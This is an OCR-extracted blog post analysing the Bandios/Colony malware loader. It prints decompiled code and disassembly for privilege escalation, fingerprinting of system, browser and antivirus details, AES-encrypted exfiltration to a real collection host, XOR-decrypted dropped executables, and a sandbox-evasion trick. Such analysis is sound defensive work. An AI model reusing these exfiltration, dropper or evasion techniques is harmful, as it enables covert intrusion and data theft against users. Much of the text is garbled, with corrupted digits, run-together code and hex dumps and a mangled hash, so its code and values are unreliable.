Reversing Bandios/Colony Malware

secrary.com/ReversingMalware/Colony_Bandios/

cd ../reverse_engineering_malware 7 minutes read
SHA256: 59¢662a5207c6806046205348b22ee45da3f685fe0225567 16dbbd6643e61834

| found the sample on the ANY.RUN sandbox.

Static Discovering

Onlinelnstaller.exe

2 Onlinelnstall

Summary

DOS Header

e ———

On the ANY.RUN sandbox we see that it spawns the child process with -install
argument, the child process creates several files under %SYSTEM_DIRECTORY% :
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https://secrary.com/ReversingMalware/Colony_Bandios/
https://secrary.com/ReversingMalware
https://www.virustotal.com/#/file/59c662a5207c6806046205348b22ee45da3f685fe022556716dbbd6643e61834
https://app.any.run/tasks/1aff9ff2-0b76-45b4-9e3d-b51796b637ad

Filename

imAppDataLocal\TempiOnlinelnstallertmp

stem[1].oe

executable
executable
binary
executable
binary
executable
binary

executable

rootkit  bandios  colony  loader

& sample

PROCESS

Reboots

Onlineinstallerexe | Pe

(

nlinelnstallerexe | PE

10C

Initial

Inlinelnstallertmp PE | -install

If we run the same executable on hybrid-analysis we get almost nothing, it executes

recursively and never ends:

Analysed 6 processes in total (Systermn Resource Monitor).

- @ Onlinelnstallerexe (PID: 2152) B+ LYY
- &1 Onlinelnstallertmp -install (PID: 2412) +* LY
L @1 Onlinelnstallertmp -install (PID: 348) =R

L ] Onlinelnstaller.tmp -install (PID: 2368) = L3

L &1 Onlinelnstaller.tmp -install (PID: 2488) =L

- &9 Onlinelnstallertmp -install (PID: 2664) = [CXEY

£* Logged Script Calls | 2 Logged Stdout B Extracted Streams | B Memory Dumps

@ Reduced Monitoring = Network Activity 4 Network Error 3 Multiscan Match

Let’s dive in deep and see what happens.

NOTE: I've renamed functions after analysis

After getting the necessary privileges it checks if -install argument is there. if not, it
executes copy_tmp_with_install_arg and collect_encrypt_send , otherwise

iaStorE_and_files will be executed.
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https://www.hybrid-analysis.com/sample/59c662a5207c6806046205348b22ee45da3f685fe022556716dbbd6643e61834?environmentId=100

12
13
14
15
16
17
18
19
28
21
22
23
24
25
26
27
28
29
38
31
32
33
34
35
36
37
38
39
4a
41
42
43

45
4a
47
43

S8

TokenHandle = @;

vd = GetCurrentProcess(};
OpenProcessToken{v4, @x28u, &TokenHandle);
if ( TokenHandle }

{

NewState.PrivilegeCount = 1;
Newstate.Privileges[@].Attributes = 2;

LockupPrivilegeValuelW(®, L"SeDebugPrivilege”, (PLUID)MewState.Priwvileges);

AdjustTokenPrivileges(TokenHandle, @, &Newstate, @, @, 8);

CloseHandle{TokenHandle);
¥
TokenHandle = @;
v5s = GetCurrentProcess();
OpenProcessToken{vs, @x28u, &TokenHandle);
if { TokenHandle )

1

LookupPrivilegeValueW(®, L"SeLoadDriverPrivilege”, (PLUID)NewState.Privileges);

Newstate.PrivilegeCount = 1;
NewState.Privileges[@].Attributes = 2;

AdjustTokenPrivileges(TokenHandle, @, &NewState,

CloseHandle({TokenHandle);
1
Dest = @;
memset(&v13, @, B8x286u);
Filename = @;
memset(&v11, @, @8x286u);
vE = GetCommandLinewW();
GetModuleFileNamel(®, &Filename, @x1®4u);
_swprintf(&Dest, L"¥s -install™, &Filename);
if ( _wesiemp(ve, &Dest) )
{
copy_tmp_with_install arg(};
collect_encrypt_send();
b

else

{

iaStorE_and_files();

i

return @;

8, @, @);

Inside copy_tmp_with_install_arg it copies itselfto %TEMP%
with the -install argument:

directory and executes
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lea
xorps
movdga
push
lea
push
push
push
push
push
push
push
lea
push
push
call
test
jz

Eak; [ebp-B48h]

Kmme , xmme
xmmword ptr [ebp-&
eax 3
eax, [ebp-688h]
eax 5
@ H
@ H
@ H
1 H
@ H
e H
eax, [ebp-218h]
eax 5
a H
ds:CreateProcessk
eax, eax

short loc_297142

42h], xmme
1pProcessInformation

1pstartupInfo
1pCurrentDirectory
1pEnvironment
dwCreationFlags
bInheritHandles
1pThreadattributes
lpProcessAttributes

1pCommandLine
1pApplicationName
3 -install

100.00% (55,4025) (61,301) 00006515

00297115: copy_tmp_with_install_arg+265 (Synchronized with EIF)

@ Hex View-1

BElCF458 @8 20 B8 60 82 28 00 B2 00 B0 B0 6D 88 BB BB BB . .....cecccea0ae
BELCF400 09 00 G0 0D 0D 0D 0D G 0D OO OO BD BB BB BB BB . .......iceaenan
BEICF4A8 0D 0D GO G0 0D 0D 0D BB 0D PO GO BD BB BB BB BB . .......ciccaenan
BE1CF4EE 0D 00 GO D 0D 0D 0D GO 0D PO GO BD BB BB BB BB . ........cc0eena.
Ba1CFACe ﬁ @@ 34 B0 S5C BB 55 8@ 73 80 65 8B 72 @8 73 8@ C.:.\.U.s.e.r.s
BELCFADE SC @9 A8 60 AF @0 48 09 AE 00 44 00 4F @@ 7JE @@ \.J.0.H.N.D.O.r.
BELCF4EE 31 @@ 5C 89 41 @0 70 @@ 78 80 44 80 61 @0 74 8@ 1.M\.A.p.p.D.a.t.
BELCF4FE 61 @@ S5C @0 4C @0 6F PO 63 €0 61 08 6C @@ 5C @@ a.\.L.o.c.a.l.\.
GELCFS28 54 @8 65 @8 6D @0 78 @@ 5C 60 4F 00 6E @8 6C 28 T.e.m.p.'\.O.n.l.
BE1CF518 69 @@ GE @@ 65 @0 49 BB 6E @0 73 68 74 @0 61 @@ i.n.e.Il.n.s.t.a.
BE1CF528 6C @@ 6C B8 A5 80 72 @@ 2E 60 74 60 6D @8 78 @@ l.l.e.r...t.m.p.
BELCFS53E 20 89 2D @0 69 80 GE BB 73 080 74 66 61l 8@ 6C @@ -.-.i.n.s.t.a.l.
BELCFS4E 6C 99 G0 00 PO G0 G0 DE 00 OO OO OO GO B0 08 88 1...............
BELCF558 00 00 60 60 60 00 00 B0 0D PO B0 6D BB BB BB BB . ........cc00uu.

A very interesting fact is that there are two ways to execute application using the

CreateProcess function:

CreateProcess(exePath,

nullptr,

marks, otherwise we get one without it:

...); and CreateProcess(nullptr, exePath,
...); ,if we run the program via the first method we get command line string with quotation
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https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx

TempPathBuffer =

(1pTempPathBuffer,

TempFileName,

IE]

Memory Environment Handles GPU Comment
General Statistics Performance Threads Token Modules
File
i Il

(UNVERIFIED)

Version: NjA
Image file name:

[ €1 \WUsersUOHNDO ~1\AppData L ocal Temp \DEM7BF 3. tmp | 14
Process
Command line: "C:Wsers\JOHNDO ~1\AppData'Local \Temp\DEM7BF 3. tmp™ 4
Current directory: | C:\Users\John Doe'\source\repositest_2\test_2Y4
- - : P 1

[] DEM7BF3.tmp (15852) Properties - ] *

Memory Environment Handles GPU Comment
General Statistics Performance Threads Token Modules
File

G

(UNVERIFIED)

Version: M/A

Image file name:

[ C\Wsers\OHNDO ~1\AppData\.ocal Temp\DEMZBF 3. tmp | [
Process

Command line: C:Wsers YOHMNDO ~1\AppData L ocal {Temp \DEM7EF 3.tmp N
Current directory: | C:\UsersJohn Doe'sourcelrepositest_2\test_2Y}

The sample calls the second variant and at the beginning of the process it checks the
arguments without quotation marks, in the normal environment it works as expected but not
onthe hybrid-analysis sandbox. Most likely, hybrid-analysis hooks
CreateProcess at some level and after checking parameters it changes something and
passes arguments to lower functions, so, at the end, we get a different command line string,
which causes infinite recursion in case of the sample.

We can use this simple technique to bypass hybrid-analysis sandbox ( any.run is

immune):

TCHAR filename[

, szTempFileName,

ject(pi.h

Lontains abilty To query macnine Time

Possibly tries to detect the presence of a debugger
General

Creates a writable file in a temporary directory

Creates mutants

details "\Sessions\l\BaseNamedObjects\xyz"
"vyz"

"big_brother_watching_you”

"\Sessions\T\BaseNamedObjects\big_brother_watching_you”

source
relevance

research

Created Mutant
3/10

Show me all reports matching the same indicator

Spawns new processes
Installation/Persistance
Touches files in the Windows directory

Pattern Matching
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That’s the reason why hybrid-analysis fails. Let’s back to our analysis.

UPDATE 17.04.2018: The bypass on hybrid-analysis is fixed now

After executing child process with -install parameter, it calls collect encrypt_send

function and starts collection information about the system:

Windows version:

mov [ebptvar_B], @

movdqu [ebpt+var_24+1], xmm@

mov [ebptvar_7], @

push offset aNtd11D1l ; “ntdll.dll”

mowvg qword ptr [ebp+anonymous_@+41], xmm@

mov [ebp+var 5], @

mowv [ebp+var_148], 11Ch

call ds:LoadLibraryw

mov esi, eax

push offset aRtlgetversion ; "RtlGetVersicn”

push esi ; hModule

call ds:GetProcAddress

test eax, eax

jz loc_295863

1
ol e =
lea ecx, [ebp+var 148]
push ecx loc_295863: ; hLibModule
call eax ; RtlGetVersion push esi
push esi ; hLibModule
test eax, eax
jnz loc_295e84
|1
- v v

Installed browser:
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35| memset(&4rgs, @, @x286u);
36| _wswprintf @(&Subkey, L“SOFTWARE\\Google\\Chrome", v3};
37| if ( 'RegOpenkeyExMW(HKEY LOCAL MACHINE, &Subkey, @, lu, &phkResult)

38 || ( vswprintf @(&subkey, L"SOFTWARE\\Google\\Chrome™, a2},
39 IRegOpenkKeyExW({HKEY CURRENT USER, &5ubkKey, @, 1lu, &phkResult)) )
a8l {

41 memset(v2, @, BxBOu);

42 v2->ml281 i32[@] = 1869768771;

43 LOWORD{v2->m1281 i32[1]) = 25965;

44|LABEL 4@:

45 BYTE2(v2->m128i i32[1]) = @;

46 goto LABEL 41;

47

45| memset(&subkey, @, 8x184u);

49| _wswprintf @(&subkey, L"SOFTWAREZ\Mozilla\\Mozilla Firefox", w4);
58| if ( !'RegOpenKeyExW(HKEY LOCAL MACHINE, &SubKey, @, lu, &phkResult)

51 || (memset{&sSubkey, @, Bxledu},

52 _wswprintf @(&Subkey, L"SOFTWAREZ\Mozilla‘\Mozilla Firefox™, v5S},
53 |RegOpenkKeyExW(HKEY CURRENT USER, &Subkey, @, 1lu, &phkResult)) )
s4f {

55 memset(vZ2, @, @xBou);

56 v2->ml28i_i32[@] = 1781996878;

57 v2->ml128i_i32[1] = 7892838;

55|LABEL_41:

59 RepClosekey(phkResult);

68 return 1;

6l

62| memset(&5ubkey, @, Ox184ul;

63| _wvswprintf @{&subkey, L"Software\\Apple Computer, Inc.\\Safari™, wB};
64| if ( 'RegOpenKeyExW(HKEY _CURRENT USER, &Subkey, @, lu, &phkResult) )
65
66 memset(v2, @, @x30u);

&7 v2->m1281i_132[@] = 1634899539;

Ll LA mRnRS. S v —annl 2aalfaTh M A .

NOTE: A clean version of Windows 10 contains
HKEY_CURRENT_USER\Software\Google\Chrome key, even if there is no Chrome
installed, so this method is not reliable

Installed AV via checking HKEY_LOCAL_MACHINE\\SOFTWARE\\%AV_NAME% key:
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27| vl = this;

28| w7 = "webroot";

29| wd = "F-Secure™;

38| vz = @;

31| w9 = "Bitdefender Agent™;

32| wvle = "Emsisoft™;

33| wll = "TrendMicro™;

34| wl2 = "McAfee";

35| w13 = "Norton";

36| w14 = "KasperskylLab™;

37| wvls = “AVAST Software”;

38| wvle = "Avira"™;

39 w17 = “ESET";

48 w1z = &off 3183F3;

41 w19 = "Baidu Security™;

42 w28 = “3e@TotalSecurity™;

43| w21 = "3e85afe™;

44| w22 = "MicrosoftWindows Defender™;
45| while ( 1 )

a6l {

47 phkResult = @;

43 memset(&subkey, @, 8x36u);

49 sprintf(&subkey, “SOFTWAREMV\Is", (Bv7)[v2]);
58 if ( !'RegOpenKeyExA(HKEY LOCAL MACHINE, &Subkey, @, @x28019%u, ZphkResult) )
51 break;

52 if { (unsigned int)}+v2 >= @x168 )
53 {

54 *( DWORD *)vl = "nknu’;

55 vi[2] = 'wo';

56 result = @;

57 *((_BYTE *jvl + 6) = @;

58 return result;

59 }

o T ]

MAC address of the adapter and system language:
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mov [esp+2e8h+MACaddr], @
push a ; int
push eax ; wvoid *
call _memset

add esp, @Ch

lea ecx, [espt+2edh+HiACaddr]
call getMAC

cmp eax, BFFFFFFFFh

jnz short loc_2916ED

It passes the collected information to the machine_info_ AES base64 function, which

loc 2916ED:

lea ecx, [esp+2B84htsysLANG]

call getSyslang

push 3 3 size t

push offset unk_38DED8 ; wvoid *

lea ecx, [esp+2@8Ch+machineInfo] ; int
mowv [espt+2e@Ch+var lE@], @Fh

mow [esp+2@Ch+var 1E4], @

mow byte ptr [espt28ChtmachineInfc], @
call move @

mow [esp+2@4htvar 4], @

£mn [e=p+2Adh+HAACAddr]. &

encrypts the content with AES and encodes with base64 :

L J

. 4

ea291889
@8291889 loc_291889:
88291889 push BCx
88291884 lea
88291891 push Eax
88291392 lea
@8291896 call cat
88291896 lea

B82918A8 mov
882918AA8 lea
@a2918AE cmp
86291880 jz

esi, eax

eax, esi

eax, [espt+288h+Browser]

ecx, [espt+2@Ch+machineInfao]

edx, [espt2@4h+machineInfe] ; int
@a29189F lea ecx, [esp+284h+SystemInfal ; wodid *
eax, [esp+28dh+machinelInfo]

short loc 2913E4

3 size t

; void *

; baseBd4 _encoded

100.00% (123,55615) (122,305) 00000CSE 00291898: collect_send+328 (Synchronized with EIP)

@ Hex View-1

B2BSBAFG 61 38
B2BSBERE 2D 26
B2B5BB18 55 . 26
B2BESBE28 BB 72
B2B5BB38 3D bE
B2B56B48 28 34
B2B5BB58

s gl
-

=
=

ua=ea-aC-29-C5-4A
9-CCAget=BS&lang
=U.K&region=18&r
eferrer=unknowio
s=Windows18-1629
9. wed&browser=_Ch
rome. 32 ipwaean

e e e e e e e T Y|

fka B

Lad
2 o
m

P O
m
2 O

f o WY S S T
(s3]

7]
Ln

1)
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Inside machine info_ AES base64 itcalls CoCreateGuid to generate 8 bytes of random
data and adds another 8 bytes hardcoded value 1Q2a3k79 :

fo
77
78
79
a8
81
82
83
84
85
86
a7
a8
a9
98
91
92
53
a4
95
96
o7
a8
55
1aa
181
1a2
183

A

The sample uses MD5 functions from advapi32.dll to calculate the md5 hash of the
abovementioned 16 bytes string ( 8_rand_bytes_ 8 hard_coded )

LUBTIE(VB2} = L3
vEB = @:
memset(&vEl, @, @x3Fu);
if ( CoCreateGuid(&pguid) )
{ ———————————————
sub_291B5@(v3, &vS1);
if (w47 »= ex1e )
j_ free(v4s};
va7 = 15;
vidE = @3
LOBYTE(v45) = @3
if [ v53 >= 8x10 )
j_ free(v51};
1
else
1
_snprintf(&vee, Gwx48u, “¥BEX", pguid.Datal);
if ( vee } —_—
vd = strlen(&vE@);
else
vd = @;
move @ (int)&v45, &ved, vi);
move( (int}&v45, (int)&bytes md5 rand, vS, Bu);
LOBYTE(vE2) = 2;
cat_(&rand bytes hardc, “102a3k73");
LOBYTE(vE2) = 4;
if ( w4 = 8x10 )
j__free(bytes md5_rand};

SRS [ R 7 S [ O 1 I

10/19



288204749 push
@a29474E mov
288294754 call
88294754 mov
88294768 test
86294762 jz

T

offset LibFileMame ; "advapi32.dll"

[ebptvar_1AC], ecx
ds:LoadLibrarys
[ebp+hModule], eax
eax, eax

short loc 2947CS

il i =

@a294764 mov
88204764 push
BB820476F push
88294770 call
88294772 push
88294777 push
@a294770 mov
8820477F call
88294781 push
88204786 push
@a29478C mov
BB29478E call
@a294798 mov
88294792 lea
88294798 push
88294799 call
88294736 push
88294741 lea
88204747 push
B882947AD push
BB2947AE call
B82947E0 lea
B82947B6 push
88294787 call
@a294769 mov
@a2947BF mov

After that, it uses the hash as the key to encrypt the system information using AES
algorithm and encodes the encrypted content via base64 :

esi, ds:GetProciAddress
offset ProcName ; "MD5Init"

2ax ; hModule

esi ; GetProcAddress

offset aMdSupdate ; "MDSUpdate™
[ebp+hModule] ; htedule
edi, eax

esl ; GetProcAddress

offset aMd5final ; "MD5Final™
[ebp+hModule] ; hModule
ehx, eax

esi ; GetProcAddress

ezi, eax

eax, [ebpt+var_188]

eax

edi

[ebptvar_ 1AC]
eax, [ebptvar_148]
[ebptvar_1B4]

Eax ; int

ebx

eax, [ebpt+var_188]

eax

esi ; MD5Final

ebx, [ebptvar_ 1B@&]
edi, [ebptmachineInfo]
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ea2948C2 mov ecx, esp

BB2945C4 push BFFFFFFFFh ; size t

BB2948CEe push @ ; int

BB2948C8 mov dword ptr [ecx+1l4h], BFh

BB2948CF mov dword ptr [ecx+l8h], @

@8294806 push eax ; AES_KEY hash_rand
28294307 mov byte ptr [ecx], @

282094804 call move 1

BB29480F push 1 ; int

BB20948E1 mov edx, edi ; plain_text MACHINE_INFO
BB294B8E3 lea ecx, [ebptout_encrypted ??] ; int
BB2948E9 call AES encrypt

BB2948EE add esp, 1Ch

@B2943F1 mov byte ptr [ebptvar_ 4], 9

@B2943F5 mov eax, [ebptvar EZ]

BB2948FE test eax, eax

982948FD jz loc_294A64

L* |

ol s

28294983 cmp [ebp+var_E4], 18h

88294984 lea edx, [ebpt+out_encrypted ?7]
28294918 push eax

88294911 cmovnb edx, [ebptout_encrypted ?7]
20294918 lea ecx, [ebptbasesd encoded]
@829491E call basecd

202940923 add esp, 4

20294926 push 8 ; size t
88294928 push ecx ; int
98294929 lea eax, [ebp+var_138]

BB29492F mov byte ptr [ebpt+var_4], 8ah

NOTE : IDAScope plugin for IDA Pro is very useful to detect which cryptography algorithms
are used in a sample.

It sends the encrypted and encoded data to iostream.system.band/dump/io/time.php :

235
24
25
26
27
28
29
38
31
32
33
34
35
36
37
38
39
48
a1
42
a3
a4
45
15
47
a3
a9
58

=4

vz

= ;
InternetOpenAf“DoPost™, lu, @, @, @);
=

(v3)
v5 = InternetConnectA(v3, "iostream.system.band", @x58u, @, @, 3u, @, @);
hInternet = v5;

HttpOpenRequestA(vs, "POST", "/dump/io/time.php"”, "HTTP/1.8", @, @, @x4808000u, 1u);

v6 = lpOptional;
= strlen{{const char *)lpOpticnal);

1pOptional = &szHeaders[1];
v2 = HttpSendRequestA(vl, szHeaders, &szHeaders[strlen(szHeaders)} + 1] - &szHeaders[1], v6,
if ( v2 )
{
Buffer = @;

memset (&v13, 8, @x3FFu);
dwBufferLength = 8x100060;
vZ = HttpQueryInfoA(vl, @x13u, &Buffer, &dwBufferLength, @);
strtol_@(&Buffer);
¥
1

InternetCloseHandle(v4);
iF § hTntarnat A

v7)s
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https://bitbucket.org/daniel_plohmann/simplifire.idascope/

M Wireshark . Follow TCP Stream (tcp.stream eq 1) - wireshark_B5B28A17-BE35-4FC9-9476-DFADEBS4BC3A_20180415131211_a03540 — O X

% POST /dump/io/time.php HTTP/1.1 N
— |Content-Type: application/x-www-form-urlencoded E
User-Agent: DoPost
Host: iostream.system.band
Content-Length: 168

1231 | cache-Cantrol: no-cache

1

129 -AeL-EERElaHg,/ 271 JEQEVh]IRqy 1T6Ej JweALPESXSEZAIAZIAUU3E3nxWqU+bZh55q905F31shBgPdZZI65pDd LHE30/ zrB5dmVsotbsNZLImT cxIGAW2 s zD7byCudd5+CLibIMw+
129 e v e YL R T T e HT TP /1.1 522 Origin Connection Time-out

1 Date: Sun, 15 Apr 2818 18:12:47 GMT

1 Content-Type: text/html; charset=UTF-8

The first 8 bytes are generated by the CoCreateGuid call. There is simple code to decrypt
the traffic content:

key, mode, IV)

dec_content = de: pt(en d_content)

print(dec_content)

/pt_traffic(b"B

After sending system information, the parent process dies, but the child process continues
execution with the -install argument, and in this case, it executes the
iaStorE_and_files function.

After calling the GetNativeSystemInfo function, it extracts 32-bit or 64-bit executables
based on the SYSTEM_INFO.dwOemId field

I ¥
L| GetNativeSystemInfo(&SystemInfo);

| if ( SystemInfoc.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD&E4 || SystemInfo.wProcessorArchitecture == 6 )
3| {

1 v1e = *Wowb4DisableWowb4FsRedirection;

3 0ldvalue = @;

3 if ( !*Wowe4Disablelows4FsRedirection )

f {

3 v11l = GetModuleHandleW(L"Kernel32.d11");

3 if ( vil )

3 {

L vl = GetProcAddress(vll, "Wow64DisableWowG4FsRedirection™);
2 *Wowe4DisableWowe4FsRedirection = v1@;

.' }

i else

5 {

3 v18 = *Wowb4DisableWowt4FsRedirection;

f }

3 }_

) OldValue = @;

3 if ( vie )

L (v1e)(&0ldvValue);

2 write_spoolsr_and_MSdat();

3 KeyHook_usp2@_n_dats();

1 vl2 = FindResourceW(@, @x6E, L"KPE™);
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https://msdn.microsoft.com/en-us/library/windows/desktop/ms724340(v=vs.85).aspx

After checking the system architecture it calls write_spoolsr_and_MSdat and there it
decrypts PE from byte 443870 (in case of a 0x64-bit system)using 0xDD as the key,
generates random 0x40 bytes and appends to the decrypted file, it saves the decrypted file
as %SYS_DIR%\\spoolsr.exe and the encrypted file as %SYS_DIR%\\MS.dat :

20 v = way

59 do

61 byte 44387@[v6] “= @xDDu;

62 +HvE;

63

64| while ( vE < ©x1433D8 );

65| RNG(); e—

55| wi = append_rand_and_checksum(byte 443378,
67| if [ wvE ) e—————

68 {

69 vl =

78| 1}

71| else

72| {

73 vE = byte 443878;

74 w9 1323984,

i3

76| writeFile(&sysDir spoolsr, v3)}; ————
77| vie = @;

78| do

79| {

50 vE[vle] ~= @xDDu;

81 +vle;

a2

83| while ( vie < w3 );

84| return writeFile(&M5 dat, v2); S ——
85}

UNINEINSTSIET€... | ££U ERMESIEHIEMEPP ... WVINGOWS \WYINGOWS 2Nell. ManTest FILE LULRED Wl... SYNC IYPe: 5ync 1y

Onlinelnstallere... 1220 gQuewStandard\...C “Windows\WindowsShell Manifest SUCCESS AllocationSize: 4.0.
EOnIine\nstallere... 1220 QACrealeFi\eMapp...C \Windows\WindowsShell Manifest SUCCESS SyncType: Sync Ty
gOnIine\nstallere 1220 @Querys{andard\ CAWindows\WindowsShell Manifest SUCCESS AllocationSize: 4,0.
EOnIine\nstallere... 1220 aQuewEaswclrﬁur C\Windows'\Windows Shell. Manifest SUCCESS CreationTime: 29/0...
@ 0nlineinstallere... 1220 FhCloseFile C\Windows \WindowsShell Manifest SUCCESS
EOnIine\nstallere... 1220 aCrea‘leFi\e CWindows'\SysWOWEL \KemelBase dll SUCCESS Desired Access: R...

ﬂOnlme\nstallere 1220 @Quewﬁas\clnfnr CAWindows\SysWOW6E4'\KemelBase dll SUCCESS CreationTime: 29/0.

!EOnIine\nstallere... 1220 &C\useﬂle CAWindows'\SysWOWE4 \KemelBase dll SUCCESS
ﬂOnlme\nstallere 1220 @Createl—‘l\e CAWindows\SysWOWE4 ole 32 dil SUCCESS Desired Access: R
EOnline\nstallere... 1220 &Quewﬁas\clrﬁur CAWindows\SysWOWES \ole 32 dIl SUCCESS CreationTime: 29/0...
Onlinelnstallere... 1220 QQC‘GSEHE CAWindows\SysWOW64'ole 32 dil SUCCESS
. 1220 aQuewNameHu “Wsers'John Doe'\Deskiop\Onlinelnst... SUCCESS MName: “Users'Joh...
eFile dows oolsr exe All

SUCCESS

hiteFile w——C\Windows\System32'spoolsr exe

0. Lengtl

. 1220 gaFlushEuﬂersFl\e CAWindows\System32'spoolsr.exe SUCCESS
2 Onlinelnstallere... 1220 awmeﬁ\e C:A\sConvert ToNonresident SUCCESS Offset: 0, Length: 1...
EOnIlne\nstallere... 1220 @Wmeﬁ\e C:\8Convert ToNonresident SUCCESS Offset: 1,048,576, ...
EOnIine\nstaIIere... 1220 QC\cseFile CAWindows \System32*spoolsr.exe SUCCESS
EOnIine\nstallere... 1220 QQCV’EE'EFHE CAWindows'\System324MS dat SUCCESS Desired Access: All...
EOnIine\nstaIIere... 1220 anen\e o \Windows\System324MS dat SUCCESS Offset: 0. Length: 1...
EOnIine\nstallere... 1220 gaFlushEuﬂersFi\e CAWindows'\System324MS dat SUCCESS
gOnIine\nstallere 1220 @Wmeﬁ\e C:\sConvert ToNonresident SUCCESS Offset: 0, Length: 1
EOHIine\nstallere... 1220 @Wn’ieﬁ\e CAsConvert ToNonresident SUCCESS Offset: 1,048,576, ...

Bx1433008u, &randstr

8BD17CDC lea
B8D17CE2 call
BBD17CE7 add
BBD17CEA xor
BBD17CEC lea

>
il

w7, &sysDir_cpl;

ecx: [ebp+sysDir_spoolsr] ; 1pFileName

writeFile 5 spoolsr.exe
esp, 4

eax, eax

esp, [espto]

loc_D17CF@:

xor byte ptr [eax+edi], @DDh
inc eax

cmp eax, esi

jb short loc_D17CF@

BBD17CFY push
BBD17CFA mov
BBD17CFC lea
8eD17082 call
28017087 mov

esi i nNumberOfBytesTolrite
edx, edi

ecx, [ebp+i5_dat] ; 1lpFileName
writeFile ; Ms.dat

ecx, [ebp+var_4]

Similarly, KeyHook usp20 n_dats extract, decrypt and creates following files:

KeyHook64.d11l , KH.dat , usp20.dll and UP.dat :

14/19



[ NE ]

8a327E44 mov eax, offset unk_3C2AFe
@B327E49 mov ebx, 93Eeh
@8327E4E mov [ebp+data_?], eax
BB3I27ESE xor eax, eax
@B327ESE jmp short decrypt PE_x86
vy
il i = il s 5=
Ba327E6R @B327F53
@9327E60 decrypt PE_x86: @8327F53 loc_327F53:
@0327E60 xor byte 46139@[eax], eDDh @a327F53 mov eax, offset unk_3CC3De
@8327E67 inc eax @8327F58 mov [ebp+var_6AB], 1
88327E68 cmp eax, /24E2h @8327F62 mov [ebptdata_?], eax
@a327E6D jb short decrypt PE_x86 @@327F68 mov ebx, @A4E6h
| Ba327F6D xor eax, eax
B8327F6F nop
vy
FIZE FEIE
BO327E6F lea eax, [ebptnNumberOfBytesToWrite] aa327F7e
B@327E75 mov edx, 724Eah ; size_t @@327F7@ decrypt_PE:
88327E7A push eax ; int @a327F7@ xor byte_3D68B@[eax], @DCh
B@327E7E push ecx ; int @@327F77 inc eax
8a327E7C lea eax, [ebptrand_str] @a327F78 cmp eax, BAAE@h
B0327E82 mov ecx, offset byte 461398 ; void * @a327F70 jb short decrypt_PE
8@8327E87 push eax ; woid * |
80327E88 call append_rand_and_checksum
B@327E8D add esp, @ch
B0327E98 mov [ebptvar_GA4], eax
BB327E96 test eax, eax
88327E98 jnz short loc_327EAF
L L
1
& Process Monitor - Sysinternals: www.sysinternals.com
File Edit Ewent Filter Tools Options Help
FHABRE 7AD B ME A6 LN
Time ... Process Name PID  Operation Path Resuft Detail
nlinelnstallere... CAWindows'\System32\KeyHookbd dl  SUCCESS Offset: 0, Length: 5.

14:35:...

KeyHook64.d11l is decrypted KH.dat , spoolsr.exe is decrypted MS.dat and

usp20.dll is decrypted UP.dat .

After that, it extracts the data from resources ( ©x110 in case of 0x64 system and 0x108

52 Onlinelnstallere... 6296 Sk \WnteFile C:A\WindowshSystem32WKH .dat
14:35.... ™ Onlinelnstallers... 62596 ChWiiteFile C\Windows'\System32'usp 20.dl
14:35: . f®Onlinelnstallere.. 6296 [hWritsFile C-\Windows" System32\UP dat

SUCCESS Offset: 0, Length: 5...
SUCCESS Offset: 0, Length: 4...
SUCCESS Offset: 0. Length: 4...

otherwise) of the sample and seems like it's encrypted or compressed data:
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83
84
85
86
a7
a8
89
a8
a1
a2
a3
a4
a5
96
a7
a3
a9
180
161
182
183
lad
185
186
1a7
188
189
110
111

(v11)(&0LldvValue); . T = i S
write_spoolsr_and_MSdat(); D J | Eﬂ |“ W ‘ + __l u ‘p | E_E_" ﬁ H:‘ll%-g | D IQ @
KeyHook_usp2@_n_dats(); =
w13 = FindResourcel(®, 110, L"KPE"); v {1 00326CF2 | 78 DA ED 3B 07 58 53 D9 D2 27 21 F4 2E KO 28 88 A | x
Wl 33 L 12052 00386008 | 51 E3 8A 2D DE 00 22 58 §9 14 13 8D 88 14 41 40 Q -
if (i3 ) gggg 00386018 | 25 40 02 48 20 31 09 22 E8 24 4D 05 23 SA BA A 88 1

B 00356D28 5D 14 CB DA 1B 2R 76 B84 SD 44 45 45 45 5D BB 82 1

hResData = LoadResource(@, v13); ;gg% 00326D38 65 D7 RE 28 9B 7F CE BD 41 82 BA &F F7 BD 7F DF e

if ( hResData } .| ZIPRES ) 00356D48 | F7 87 BT 37 DE CC 95 39 33 73 E6 CC 99 33 A7 10

| Tcon 00386058 |87 85 E6 21 1D 84 10 03 SE B5 1A Al 62 44 3D IE
15 = SizeofResource(d, vis); | Tcon Group 00386068 |ES SF SF SA 78 CD DA ED 37 43 45 86 &7 DB 17 D3 ]
v16 = LockResource(hResData}; 1. | Manifest 00336D78 (04 &7 DB 07 Cé C& 29 98 32 BY 34 4€ 2E 4C 60 48 g
if ( vi6 ) 00356D8E (09 13 13 AS 4A €6 A4 53 29 4F 4A &4 CE& 25 32 BD
decompress_and_write_iaStorE(v16, &sysDirDRIVERpath, v15); 00386DS6 |86 07 30 13 A4 D1 22 Bé 29 R9 11 4B R3 A3 FD EB 0
00356DRS | AC 93 A2 05 BF 97 36 BD 4F 96 B6 02 94 3C 4B 59
i 00326088 | 2A 26 E1 D4 A5 31 24 8C SB 2R 24 61 94 06 9F B2 kg
w17 = *Wow64RevertlWows4FsRedirection; 00386DCE | 34 SA 84 93 48 ES 1F 17 15 8B E5 7F CF 56 3F &F
v18 = OldValue; 003260D8 |24 B2 A7 EB 23 83 91 3B 43 1B 69 CF 51 07 64 4C
if ( *WowG4RevertlWows4FsRedirection 00336DEE |37 44 C8 1€ 90 16 14 2D 3A 02 BE 2C 70 39 46 11 7D
Il (019 = GetModuleHandleW(L"Kernel32.d11")) == @ ? (v17 = *HowsdRey 00326DFE | 70 99 SE 90 1E E0 8D 2F F9 E4 51 4E 13 8F €A E4 e
v17 00356E08 €4 34 FL 6B 17 2C SA 6C DO 2A A2 2C &8 C7 11 17 da 1
) 00386E18 | 64 08 85 60 51 3F AO 61 9C 0D 38 BE 27 0D 21 13 d
(v17)(v18); 00386E28 | 00 DB 05 84 EC D1 3F F1 00 FF CF FF A0 SA AD 14
i 00386E38 | 4D 54 02 DC D3 42 63 90 75 93 E9 2D OF 13 Al 58 MT
} 00356E48 (BE 3C SA A3 14 22 D4 40 A3 74 €2 1F &0 TE D2 7A <z
else 00386E58 |20 46 78 6C SA 0D B9 31 34 41 A3 07 6F 9B 6F F8 Fx.
{ 00356E68 | 4E B2 €5 14 23 D9 47 3F 8D 3E E€ B7 FA FZ BE FC He
